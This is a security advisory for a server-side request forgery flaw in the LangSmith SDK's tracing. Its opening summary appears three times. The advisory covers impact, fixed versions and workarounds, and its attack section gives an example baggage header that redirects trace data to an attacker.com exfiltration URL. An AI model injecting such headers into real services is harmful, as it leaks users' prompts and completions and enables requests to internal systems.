LangSmith Client SDK Affected by Server-Side Request Forgery via Tracing Header Injection

LangSmith Client SDKs provide SDK's for interacting with the LangSmith platform. The LangSmith SDK's distributed tracing feature is vulnerable to Server-Side Request Forgery via malicious HTTP headers. An attacker can inject arbitrary api_url values through the baggage header, causing the SDK to exfiltrate sensitive trace data to attacker-controlled endpoints. When using distributed tracing, the SDK parses incoming HTTP headers via RunTree.from_headers() in Python or RunTree.fromHeaders() in Typescript. The baggage header can contain replica configurations including api_url and api_key fields. Prior to the fix, these attacker-controlled values were accepted without validation. When a traced operation completes, the SDK's post() and patch() methods send run data to all configured replica URLs, including any injected by an attacker. This vulnerability is fixed in version 0.6.3 of the Python SDK and 0.4.6 of the JavaScript SDK.

LangSmith Client SDKs provide SDK's for interacting with the LangSmith platform. The LangSmith SDK's distributed tracing feature is vulnerable to Server-Side Request Forgery via malicious HTTP headers. An attacker can inject arbitrary api_url values through the baggage header, causing the SDK to exfiltrate sensitive trace data to attacker-controlled endpoints. When using distributed tracing, the SDK parses incoming HTTP headers via RunTree.from_headers() in Python or RunTree.fromHeaders() in Typescript. The baggage header can contain replica configurations including api_url and api_key fields. Prior to the fix, these attacker-controlled values were accepted without validation. When a traced operation completes, the SDK's post() and patch() methods send run data to all configured replica URLs, including any injected by an attacker. This vulnerability is fixed in version 0.6.3 of the Python SDK and 0.4.6 of the JavaScript SDK.

LangSmith Client SDKs provide SDK's for interacting with the LangSmith platform. The LangSmith SDK's distributed tracing feature is vulnerable to Server-Side Request Forgery via malicious HTTP headers. An attacker can inject arbitrary api_url values through the baggage header, causing the SDK to exfiltrate sensitive trace data to attacker-controlled endpoints. When using distributed tracing, the SDK parses incoming HTTP headers via RunTree.from_headers() in Python or RunTree.fromHeaders() in Typescript. The baggage header can contain replica configurations including api_url and api_key fields. Prior to the fix, these attacker-controlled values were accepted without validation. When a traced operation completes, the SDK's post() and patch() methods send run data to all configured replica URLs, including any injected by an attacker. This vulnerability is fixed in version 0.6.3 of the Python SDK and 0.4.6 of the JavaScript SDK.

## Summary The LangSmith SDK's distributed tracing feature is vulnerable to Server-Side Request Forgery via malicious HTTP headers. An attacker can inject arbitrary `api_url` values through the `baggage` header, causing the SDK to exfiltrate sensitive trace data to attacker-controlled endpoints. --- ## Description When using distributed tracing, the SDK parses incoming HTTP headers via `RunTree.from_headers()` in Python or `RunTree.fromHeaders()` in Typescript. The `baggage` header can contain replica configurations including `api_url` and `api_key` fields. Prior to the fix, these attacker-controlled values were accepted without validation. When a traced operation completes, the SDK's `post()` and `patch()` methods send run data to all configured replica URLs, including any injected by an attacker. --- ## Attack Vector 1. Attacker sends an HTTP request to a vulnerable service with a malicious `baggage` header: ``` baggage: langsmith-replicas=[{"api_url":"https://attacker.com/exfil","project_name":"x"}] ``` 2. The service parses the header via `RunTree.from_headers()`, storing the attacker's URL 3. When the traced operation completes, the SDK sends the full run data (including LLM inputs, outputs, and metadata) to `https://attacker.com/exfil` --- ## Impact - **Data Exfiltration:** Sensitive trace data including LLM prompts, completions, and application metadata sent to attacker-controlled servers - **SSRF:** Ability to make the server send requests to arbitrary URLs, potentially targeting internal services --- ## Affected Use Cases Applications are vulnerable if they: - Use `TracingMiddleware` to automatically propagate tracing context - Call `RunTree.from_headers()` / `RunTree.fromHeaders()` with untrusted HTTP headers --- ## Remediation Update to the patched versions: - **Python:** `pip install langsmith>=0.6.3` - **JavaScript:** `npm install langsmith@>=0.4.6` The fix filters incoming replica configurations to an allowlist of safe fields, removing `api_url`, `api_key`, and other credential fields. --- ## Workarounds If unable to upgrade immediately: - Strip or validate the `baggage` header before passing to `from_headers()` - Do not use `TracingMiddleware` with untrusted traffic